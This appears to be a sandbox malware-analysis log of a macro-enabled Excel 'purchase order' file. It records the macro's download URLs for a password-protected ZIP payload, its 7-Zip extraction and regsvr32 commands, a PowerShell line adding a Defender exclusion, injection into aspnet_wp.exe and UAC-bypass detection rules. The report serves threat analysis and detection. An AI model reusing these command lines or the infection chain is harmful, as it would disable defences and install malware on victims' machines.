Source: C:\Users\user\SystemRootDoc\PO202502DAKE.exe	Code function: 28_2_00007FFC9CDF83D0	28_2_00007FFC9CDF83D0
Source: C:\Users\user\SystemRootDoc\PO202502DAKE.exe	Code function: 33_2_00007FF6E44A7ED0	33_2_00007FF6E44A7ED0
Source: C:\Users\user\SystemRootDoc\PO202502DAKE.exe	Code function: 33_2_00007FF6E44A57C0	33_2_00007FF6E44A57C0
Source: C:\Users\user\SystemRootDoc\PO202502DAKE.exe	Code function: 33_2_00007FF6E44A43E0	33_2_00007FF6E44A43E0

Source: PO202503D.xlsm	OLE, VBA macro line: Private Sub Workbook_Open()
Source: PO202503D.xlsm	OLE, VBA macro line: Private Sub Workbook_Open()
Source: VBA code instrumentation	OLE, VBA macro: Module Module1, Function Workbook_Open	Name: Workbook_Open
Source: VBA code instrumentation	OLE, VBA macro: Module ThisWorkbook, Function Workbook_Open	Name: Workbook_Open

Source: PO202503D.xlsm

OLE indicator, VBA macros: true

Source: PO202503D.xlsm

Stream path 'VBA/__SRP_0' : https://tursiian.com/7z.txt$7zip_installer.exe/S47-Zip installation failed!8ZIP file failed to download!2(7-Zip installed at:* 7-Zip found at:,$PO202502SNAKWS.zip"|https://f004.backblazeb2.com/file/mdocument/PO202502SNAKWS.zi|&ZIP downloaded to:* x -p123456 -y -oba).a(Extraction command:$*.*"Extracted files:$,,libcares-2.dll"nasrallah_x86.dll vcruntime210.dll$PO202502SNAKWS.exe"-#Z00:00:010c.EXE execution attempted.aFF!1Q1&mQ1@nasrallah_x86.dll not found at:*WScript.Shell2QRetry(: DLL exists=, EXE exists=:libcares-2.dll not found at: 6msvcp290.dll not found at:$@2iw<WYl|>vcruntime210.dll not found at: >PO202502SNAK.exe not found at:* Files verified:$ and(regsvr32.exe/s.2DLL registration output: LDLL registration attempted (no output)EXE output:"Run<Z>Z"Cleanup c

Source: ~DFE94CD9633EB51867.TMP.0.dr

OLE stream indicators for Word, Excel, PowerPoint, and Visio: all false

Source: Joe Sandbox View	Dropped File: C:\Users\user\AppData\Local\Temp\invoice_temp\PO202502DAKE.exe A52E245DD7937094711B10C479274A2CCCEA2DFB89F7D4C9F22879214718F92B
Source: Joe Sandbox View	Dropped File: C:\Users\user\SystemRootDoc\PO202502DAKE.exe A52E245DD7937094711B10C479274A2CCCEA2DFB89F7D4C9F22879214718F92B

Source: C:\Program Files\7-Zip\7z.exe

Process token adjusted: Security

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\invoice_temp\PO202502DAKE.exe	Code function: String function: 00007FFC9CEA1280 appears 1076 times
Source: C:\Users\user\AppData\Local\Temp\invoice_temp\PO202502DAKE.exe	Code function: String function: 00007FFC9CD85750 appears 210 times
Source: C:\Users\user\AppData\Local\Temp\invoice_temp\PO202502DAKE.exe	Code function: String function: 00007FFC9CFC4440 appears 317 times
Source: C:\Users\user\AppData\Local\Temp\invoice_temp\PO202502DAKE.exe	Code function: String function: 00007FFC9CF5E0B0 appears 67 times
Source: C:\Users\user\AppData\Local\Temp\invoice_temp\PO202502DAKE.exe	Code function: String function: 00007FFC9CD852E0 appears 212 times
Source: C:\Users\user\AppData\Local\Temp\invoice_temp\PO202502DAKE.exe	Code function: String function: 00007FFC9CFC4AEE appears 314 times
Source: C:\Users\user\AppData\Local\Temp\invoice_temp\PO202502DAKE.exe	Code function: String function: 00007FFC9CD85330 appears 326 times
Source: C:\Users\user\AppData\Local\Temp\invoice_temp\PO202502DAKE.exe	Code function: String function: 00007FFC9CFC4490 appears 436 times
Source: C:\Users\user\AppData\Local\Temp\invoice_temp\PO202502DAKE.exe	Code function: String function: 00007FFC9CF5CE80 appears 1077 times
Source: C:\Users\user\AppData\Local\Temp\invoice_temp\PO202502DAKE.exe	Code function: String function: 00007FFC9CD1EC60 appears 68 times
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_wp.exe	Code function: String function: 0000000140039058 appears 34 times
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_wp.exe	Code function: String function: 0000000140029E0C appears 49 times
Source: C:\Users\user\SystemRootDoc\PO202502DAKE.exe	Code function: String function: 00007FFC9CEACE80 appears 1077 times
Source: C:\Users\user\SystemRootDoc\PO202502DAKE.exe	Code function: String function: 00007FFC9CDF1280 appears 1076 times
Source: C:\Users\user\SystemRootDoc\PO202502DAKE.exe	Code function: String function: 00007FFC9CF14440 appears 317 times
Source: C:\Users\user\SystemRootDoc\PO202502DAKE.exe	Code function: String function: 00007FFC9CCD52E0 appears 317 times
Source: C:\Users\user\SystemRootDoc\PO202502DAKE.exe	Code function: String function: 00007FFC9CEAE0B0 appears 67 times
Source: C:\Users\user\SystemRootDoc\PO202502DAKE.exe	Code function: String function: 00007FFC9CCD5330 appears 436 times
Source: C:\Users\user\SystemRootDoc\PO202502DAKE.exe	Code function: String function: 00007FFC9CF14AEE appears 314 times
Source: C:\Users\user\SystemRootDoc\PO202502DAKE.exe	Code function: String function: 00007FFC9CC6EC60 appears 67 times
Source: C:\Users\user\SystemRootDoc\PO202502DAKE.exe	Code function: String function: 00007FFC9CF14490 appears 436 times
Source: C:\Users\user\SystemRootDoc\PO202502DAKE.exe	Code function: String function: 00007FFC9CCD5750 appears 314 times

Source: PO202502DAKE.exe.9.dr	Static PE information: Number of sections : 11 > 10
Source: PO202502DAKE.exe.12.dr	Static PE information: Number of sections : 11 > 10

Source: 33.2.PO202502DAKE.exe.21bc50716a0.0.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM author = ditekSHen, description = Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003)
Source: 16.2.aspnet_wp.exe.140000000.0.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM author = ditekSHen, description = Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003)
Source: 28.2.PO202502DAKE.exe.1ff210716a0.0.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM author = ditekSHen, description = Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003)
Source: 12.2.PO202502DAKE.exe.2333c8716a0.0.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM author = ditekSHen, description = Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003)
Source: 12.2.PO202502DAKE.exe.2333c8716a0.0.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM author = ditekSHen, description = Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003)
Source: 35.2.aspnet_wp.exe.140000000.0.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM author = ditekSHen, description = Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003)
Source: 35.2.aspnet_wp.exe.140000000.0.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM author = ditekSHen, description = Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003)
Source: 33.2.PO202502DAKE.exe.21bc50716a0.0.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM author = ditekSHen, description = Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003)
Source: 30.2.aspnet_wp.exe.140000000.0.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM author = ditekSHen, description = Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003)
Source: 30.2.aspnet_wp.exe.140000000.0.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM author = ditekSHen, description = Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003)
Source: 28.2.PO202502DAKE.exe.1ff210716a0.0.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM author = ditekSHen, description = Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003)
Source: 16.2.aspnet_wp.exe.140000000.0.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM author = ditekSHen, description = Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003)
Source: 0000001E.00000002.1451318237.0000000140000000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM author = ditekSHen, description = Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003)
Source: 00000023.00000002.1536508110.0000000140000000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM author = ditekSHen, description = Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003)
Source: 00000010.00000002.6605477392.0000000140000000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM author = ditekSHen, description = Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003)

Source: classification engine

Classification label: mal100.troj.expl.evad.winXLSM@29/22@12/3

Source: C:\Users\user\AppData\Local\Temp\invoice_temp\PO202502DAKE.exe

Code function: 12_2_00007FFC9CC677E0 SetLastError,FormatMessageW,GetLastError,SetLastError,FormatMessageW,GetLastError,

12_2_00007FFC9CC677E0

Source: C:\Users\user\AppData\Local\Temp\invoice_temp\PO202502DAKE.exe	Code function: 12_2_00007FFC9CC69420 SetLastError,AdjustTokenPrivileges,GetLastError,		12_2_00007FFC9CC69420
Source: C:\Users\user\SystemRootDoc\PO202502DAKE.exe	Code function: 28_2_00007FFC9CBB9420 SetLastError,AdjustTokenPrivileges,GetLastError,		28_2_00007FFC9CBB9420

Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_wp.exe

Code function: 16_2_00000001400158F0 CoCreateInstance,

16_2_00000001400158F0

Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE

File created: C:\Program Files (x86)\Microsoft Office\root\vfs\Common AppData\Microsoft\Office\Heartbeat\HeartbeatCache.xml

Jump to behavior

Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE

File created: C:\Users\user\Desktop\~$PO202503D.xlsm

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:2064:120:WilError_03
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_wp.exe	Mutant created: \Sessions\1\BaseNamedObjects\{D07CA115-8673-43EE-BE20-82EE6E12ECD2}
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:8588:120:WilError_03
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_wp.exe	Mutant created: \Sessions\1\BaseNamedObjects\{46C50A8D-10E4-41E2-836F-54C9A61C5C72}
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_wp.exe	Mutant created: \Sessions\1\BaseNamedObjects\{DC23756C-1FD1-4CE9-BD12-02B965019D31}
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_wp.exe	Mutant created: \Sessions\1\BaseNamedObjects\{1EBCA0EE-1DEE-485D-B8FB-8CD5A107F286}
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:8416:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:2672:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:8536:120:WilError_03
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_wp.exe	Mutant created: \Sessions\1\BaseNamedObjects\{12072879-EF3A-4BDB-9E3A-DF4639F62493}
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:1304:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:8360:120:WilError_03

Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE

File created: C:\Users\user\AppData\Local\Temp\{3E33BBE1-1DC3-48B6-BA0E-8EA0D6D99267} - OProcSessId.dat

Jump to behavior

Source: PO202503D.xlsm

OLE indicator, Workbook stream: true

Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE

File read: C:\Users\desktop.ini

Jump to behavior

Source: C:\Program Files\7-Zip\7z.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: PO202503D.xlsm

Virustotal: Detection: 19%

Source: unknown	Process created: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE "C:\Program Files (x86)\Microsoft Office\Root\Office16\EXCEL.EXE" /automation -Embedding
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process created: C:\Program Files\7-Zip\7z.exe "C:\Program Files\7-Zip\7z.exe" x -p123456 -y -o"C:\Users\user\AppData\Local\Temp\invoice_temp\" "C:\Users\user\AppData\Local\Temp\invoice_temp\PO202502DAKE.zip"
Source: C:\Program Files\7-Zip\7z.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process created: C:\Windows\SysWOW64\regsvr32.exe "regsvr32.exe" /s "C:\Users\user\AppData\Local\Temp\invoice_temp\vcruntime210.dll"
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process created: C:\Users\user\AppData\Local\Temp\invoice_temp\PO202502DAKE.exe "C:\Users\user\AppData\Local\Temp\invoice_temp\PO202502DAKE.exe"
Source: C:\Users\user\AppData\Local\Temp\invoice_temp\PO202502DAKE.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\invoice_temp\PO202502DAKE.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell.exe" -Command "Add-MpPreference -ExclusionPath 'C:\Users\user\SystemRootDoc' -Force"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\invoice_temp\PO202502DAKE.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_wp.exe "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_wp.exe"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\wbem\WmiPrvSE.exe C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding
Source: unknown	Process created: C:\Windows\System32\cmd.exe "C:\Windows\system32\cmd.exe" /C start "" /D "C:\Users\user\SystemRootDoc" "C:\Users\user\SystemRootDoc\PO202502DAKE.exe"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\SystemRootDoc\PO202502DAKE.exe "C:\Users\user\SystemRootDoc\PO202502DAKE.exe"
Source: C:\Users\user\SystemRootDoc\PO202502DAKE.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\SystemRootDoc\PO202502DAKE.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_wp.exe "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_wp.exe"
Source: unknown	Process created: C:\Windows\System32\cmd.exe "C:\Windows\system32\cmd.exe" /C start "" /D "C:\Users\user\SystemRootDoc" "C:\Users\user\SystemRootDoc\PO202502DAKE.exe"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\SystemRootDoc\PO202502DAKE.exe "C:\Users\user\SystemRootDoc\PO202502DAKE.exe"
Source: C:\Users\user\SystemRootDoc\PO202502DAKE.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\SystemRootDoc\PO202502DAKE.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_wp.exe "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_wp.exe"
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process created: C:\Program Files\7-Zip\7z.exe "C:\Program Files\7-Zip\7z.exe" x -p123456 -y -o"C:\Users\user\AppData\Local\Temp\invoice_temp\" "C:\Users\user\AppData\Local\Temp\invoice_temp\PO202502DAKE.zip"	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process created: C:\Windows\SysWOW64\regsvr32.exe "regsvr32.exe" /s "C:\Users\user\AppData\Local\Temp\invoice_temp\vcruntime210.dll"	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process created: C:\Users\user\AppData\Local\Temp\invoice_temp\PO202502DAKE.exe "C:\Users\user\AppData\Local\Temp\invoice_temp\PO202502DAKE.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\invoice_temp\PO202502DAKE.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell.exe" -Command "Add-MpPreference -ExclusionPath 'C:\Users\user\SystemRootDoc' -Force"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\invoice_temp\PO202502DAKE.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_wp.exe "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_wp.exe"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\SystemRootDoc\PO202502DAKE.exe "C:\Users\user\SystemRootDoc\PO202502DAKE.exe"
Source: C:\Users\user\SystemRootDoc\PO202502DAKE.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_wp.exe "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_wp.exe"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\SystemRootDoc\PO202502DAKE.exe "C:\Users\user\SystemRootDoc\PO202502DAKE.exe"
Source: C:\Users\user\SystemRootDoc\PO202502DAKE.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_wp.exe "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_wp.exe"

Source: C:\Program Files\7-Zip\7z.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: aclayers.dll	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: sfc.dll	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\invoice_temp\PO202502DAKE.exe	Section loaded: libcares-2.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\invoice_temp\PO202502DAKE.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\invoice_temp\PO202502DAKE.exe	Section loaded: icu.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\invoice_temp\PO202502DAKE.exe	Section loaded: msvcp290.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: microsoft.management.infrastructure.native.unmanaged.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wmidcom.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_wp.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_wp.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_wp.exe	Section loaded: wtsapi32.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_wp.exe	Section loaded: msi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_wp.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_wp.exe	Section loaded: dbghelp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_wp.exe	Section loaded: dbgcore.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_wp.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_wp.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_wp.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_wp.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_wp.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_wp.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_wp.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_wp.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_wp.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_wp.exe	Section loaded: napinsp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_wp.exe	Section loaded: pnrpnsp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_wp.exe	Section loaded: wshbth.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_wp.exe	Section loaded: nlaapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_wp.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_wp.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_wp.exe	Section loaded: winrnr.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_wp.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_wp.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: fastprox.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: ncobjapi.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: mpclient.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: version.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: msasn1.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: wmitomi.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: mi.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: miutils.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: gpapi.dll
Source: C:\Windows\System32\cmd.exe	Section loaded: apphelp.dll
Source: C:\Users\user\SystemRootDoc\PO202502DAKE.exe	Section loaded: libcares-2.dll
Source: C:\Users\user\SystemRootDoc\PO202502DAKE.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\SystemRootDoc\PO202502DAKE.exe	Section loaded: msvcp290.dll
Source: C:\Users\user\SystemRootDoc\PO202502DAKE.exe	Section loaded: icu.dll
